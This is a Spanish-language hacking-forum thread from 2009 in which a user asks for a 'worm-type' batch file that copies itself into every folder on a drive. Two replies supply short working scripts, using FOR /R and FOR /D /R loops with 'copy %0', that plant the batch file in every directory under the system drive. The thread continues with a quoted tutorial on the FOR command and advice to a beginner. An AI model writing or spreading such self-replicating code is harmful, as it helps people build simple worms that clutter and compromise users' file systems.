[Batch] programas que se autoduplican

Iniciado por Dothoez, 13 Enero 2009, 00:05 AM

0 Miembros y 1 Visitante están viendo este tema.

Dothoez

Hola a todos
He intentado de todas las formas que se y hasta las que no se, el crear un bat que se autoduplique, esto es que se copie en todas y cada una de las carpetas que existen, tipo worm, será esto posible se todo lo necesario para crear bat y hasta más así que no se preocupen en explicar nada, solo tiren el código y ya, les agradeceré mucho ya que esto seria de gran ayuda.

Para convertir de bat a exe uso el Quit Bat File Compiler y portable además si lo quieren dejen su mail ;D

Darioxhcx

#1
@echo off
cd %homedrive%
For /r %%x in ( Darioxhcx.bat ) Do copy %0 %%x
pause

fijate si así te gusta xD
saludos

leogtz

@echo off
cd /d "%homedrive%\"
for /d /r %homedrive% %%x in (*) do (
copy /y "%0" "%%x" > nul 2>&1
)
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

river_0119

pueden explicar por favor? :)


les estare agradecido ::)


leogtz

Cita de: river_0119 en  7 Marzo 2009, 19:09 PM
pueden explicar por favor? :)


les estare agradecido ::)



A que te refieres?, a explicar cada codigo?
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

Darioxhcx

esto esta explicado
los parametros del FOR
lo que son el /R y /D

http://foro.elhacker.net/scripting/programacion_batch_avanzada_nuevo-t132924.0.html

en esta parte
FOR

FOR es una herramienta muy completa, nos permite analizar segmentos de la salida de comandos, funciones y el contenido de archivos.

Tambien permite hacer bucles de la siguiente manera:

FOR /L %%var IN (inicio,incremento,fin) DO (acciones)
inicio, es el valor inicial, incremento es la cantidad a sumar, y fin es la cantidad a detenerse, por ejemplo:


FOR /L %%i IN (0,1,10) DO (echo %%i)imprimira 0 1 2 3 4 5 6 7 8 9 10o:


sinembargo, la forma mas sencilla de usar FOR, es para numerar archivos, y hacer algo con ellos.. por ejemplo:


FOR %%x in (x*) DO echo %%x.
mostrará todos los archivos que empiezan con x

para SOLO mostrar directorios:


FOR /D %%x in (m*) DO echo %%x
el modificador "/D", mostrará solo los directorios, que empiesen con m.

El comando se puede hacer "recursivo", es decir, que se ejecute  dentro de cada directorio, con el comando "/R", por ejemplo, en una estructura de directorios como la siguiente:



├───adios
│   └───algo
│       └───xx
└───hola

al ejecutar el comando:


FOR /R /D %%x in (a*) DO echo %%x
C:\adios
C:\adios\algo

sinembargo, al ejecutar el comando..


FOR /R %%x in (*x*) DO echo %%x
C:\ax.txt
C:\adios\sx.txt
C:\adios\wwx.txt
C:\adios\algo\kkx.txt
C:\adios\algo\xx\xx.txt
C:\hola\ax.txt
C:\hola\rx.txt
nos mostrara todos los archivos que coinciden con la sequencia especificada, incluso podriamos hacer un buscador en batch, con el uso de FINDSTR y FOR.

Tenemos otro modificador, /F que nos permite usar ciertas opciones para separar el resulado de las acciones.. comandos, cadenas, o archivos. Su sintaxis es la siguiente:



FOR /F ["opciones"] %var IN (conjunto) DO (acciones)
conjunto puede ser:
conjunto de archivos -> sin comillas
cadena de caracteres -> con comillas dobles (" ")
comando -> con comilla simple (' ')

las opciones son las siguientes:
eol -> todo lo que este despues de este caracter sera ignorado (para cada linea)
skip -> numero de lineas a saltarse al principio del archivo/comando.
delims -> esto sirve para separar las strings.. si no se coloca esta opcion, se usaran como separadores "espacio" y "tab"
tokens -> esto es para especificar cuales segementos, delimitados por "delims", seran pasados a las variables.. por ejemplo:
1,2,3
solo pasara los primeros 3 segmentos.
1,2*
pasara 2 segmentos, el primero y todo lo que este despues (el * regresa todo el resto de la linea)
1,2-6,8,9*
regresara 4 segmentos, el primero, desde el segundo hasta el sexto, el octavo y el resto de la linea, despues del noveno, el signo de menos (-) genera intervalos.

por ultimo, esta la opcion:
usebackq -> que cambia la forma de interpretar si es string o comando, de la siguiente manera:
'cadena'
`comando`

Nota: [`] es diferente al caracter de acento [´]

por ejemplo, el siguiente comando:

buee y todo eso

saludos

river_0119

si es posible si :rolleyes:

tengo inquietudes en el comando for


::)

gracias




river_0119

soy casi nuevo en programacion

::)

no estaria de mas una explicaion del comando FOR
en este codigo


gracias


PD:  que se pone en "*"

Darioxhcx

si sos nuevo , lo mejor seria empezar desde el principio
desde la base , saber que es %0 x ejemplo
y otras variables de archivos y sistemas
* < >  | &  y demas..
despues de una semana vas a ver el For y va a ser mas facil
saludos